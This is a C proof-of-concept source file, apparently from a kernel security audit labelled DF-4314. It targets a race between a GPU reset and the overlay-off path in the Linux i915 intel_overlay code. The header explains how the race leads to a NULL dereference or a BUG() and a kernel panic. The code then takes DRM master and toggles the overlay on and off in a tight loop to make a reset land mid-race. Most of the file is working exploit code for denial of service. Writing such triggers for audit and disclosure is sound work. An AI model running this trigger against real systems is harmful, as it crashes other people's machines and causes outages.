DF-4314 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 | /* * DF-4314 trigger โ intel_overlay GPU-reset vs overlay-off lifetime race * * Bug: intel_overlay_reset() (called from i915_reset()) clears overlay->crtc * and releases overlay->old_vma while an intel_overlay_off() submitted from a * concurrent DRM-master ioctl (PUT_IMAGE !ENABLE / CRTC dpms disable) is still * in flight. When that off request later retires, intel_overlay_off_tail() * executes `overlay->crtc->overlay = NULL` with overlay->crtc == NULL * (NULL+offset write -> kernel page fault -> panic), or the reset-path * intel_overlay_release_old_vid() slowpath trips * GEM_BUG_ON(i915_gem_active_peek(&overlay->last_flip)) in * intel_overlay_submit_request() -> BUG() -> panic. * * This program is the DRM-master half of the race: it drives the overlay on/off * as fast as the hardware allows, maximising the chance that a GPU reset (the * other half โ induced by an *unprivileged* client hanging the ring, or by * i915_handle_error) lands while an overlay-off is pending. * * Requires: Intel Gen2..Gen4 i915 GPU with overlay unit (HAS_OVERLAY), a DRM * master (no X running, or run as the VT master), one active CRTC. * * Expected on vulnerable hardware: kernel panic in intel_overlay_off_tail() * (NULL-deref at overlay->crtc->overlay) or GEM_BUG_ON in * intel_overlay_submit_request(), shortly after a GPU reset lands mid-race. * On the DF audit QEMU guest (Bochs/virtio VGA, no i915): open() fails with * ENOENT โ documented, that is the honest device-absent result. * * Build: cc -O2 -o trigger trigger.c * Run: ./trigger [/dev/dri/card0] */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <uapi/drm/drm.h> #include <uapi/drm/drm_mode.h> #include <uapi/drm/i915_drm.h> #ifndef DRM_IOCTL_I915_OVERLAY_PUT_IMAGE #define DRM_IOCTL_I915_OVERLAY_PUT_IMAGE \ DRM_IOW(DRM_COMMAND_BASE + 0x27, struct drm_intel_overlay_put_image) #endif static int fd; static uint32_t find_crtc(void) { struct drm_mode_card_res res; uint32_t *crtcs; uint32_t id = 0; memset(&res, 0, sizeof(res)); if (ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res) < 0) { perror("DRM_IOCTL_MODE_GETRESOURCES"); return 0; } if (res.count_crtcs == 0) { fprintf(stderr, "no CRTCs\n"); return 0; } crtcs = calloc(res.count_crtcs, sizeof(uint32_t)); res.crtc_id_ptr = (uint64_t)(uintptr_t)crtcs; if (ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res) < 0) { perror("DRM_IOCTL_MODE_GETRESOURCES(2)"); free(crtcs); return 0; } if (res.count_crtcs > 0) id = crtcs[0]; free(crtcs); return id; } static uint32_t gem_create(uint64_t size) { struct drm_i915_gem_create gc; memset(&gc, 0, sizeof(gc)); gc.size = size; if (ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &gc) < 0) { perror("DRM_IOCTL_I915_GEM_CREATE"); return 0; } return gc.handle; } int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0"; struct drm_intel_overlay_put_image img; uint32_t crtc_id, bo; unsigned long n, ok = 0, err = 0; fd = open(dev, O_RDWR); if (fd < 0) { perror("open DRM device"); fprintf(stderr, "DF-4314: no DRM device โ on this guest the i915 driver\n" "cannot attach (Bochs/virtio VGA), so the overlay path is\n" "unreachable at runtime. See VERDICT.md.\n"); return 2; } if (ioctl(fd, DRM_IOCTL_SET_MASTER, 0) < 0) perror("SET_MASTER (continuing; may already be master)"); crtc_id = find_crtc(); bo = gem_create(64 * 1024); if (!crtc_id || !bo) { fprintf(stderr, "prerequisites failed\n"); return 3; } memset(&img, 0, sizeof(img)); img.flags = I915_OVERLAY_ENABLE | I915_OVERLAY_YUV_PACKED | I915_OVERLAY_YUV422; img.bo_handle = bo; img.stride_Y = 128; /* >= 64*2, 64-aligned */ img.src_width = 64; img.src_height = 48; /* >= N_VERT_Y_TAPS*4 */ img.src_scan_width = 64; img.src_scan_height = 48; img.crtc_id = crtc_id; img.dst_x = 0; img.dst_y = 0; img.dst_width = 100; /* nonzero */ img.dst_height = 100; /* * Race loop: ON then OFF forever. Every OFF submits * MI_OVERLAY_OFF and waits; a GPU reset landing inside that wait * (run hang-inducing unprivileged batches in parallel) hits the bug. */ for (n = 0; n < 100000; n++) { img.flags |= I915_OVERLAY_ENABLE; if (ioctl(fd, DRM_IOCTL_I915_OVERLAY_PUT_IMAGE, &img) == 0) ok++; else err++; img.flags &= ~I915_OVERLAY_ENABLE; if (ioctl(fd, DRM_IOCTL_I915_OVERLAY_PUT_IMAGE, &img) == 0) ok++; else err++; if ((n % 2000) == 0) { printf("iter %lu ok=%lu err=%lu\n", n, ok, err); fflush(stdout); } } printf("done: ok=%lu err=%lu\n", ok, err); return 0; } |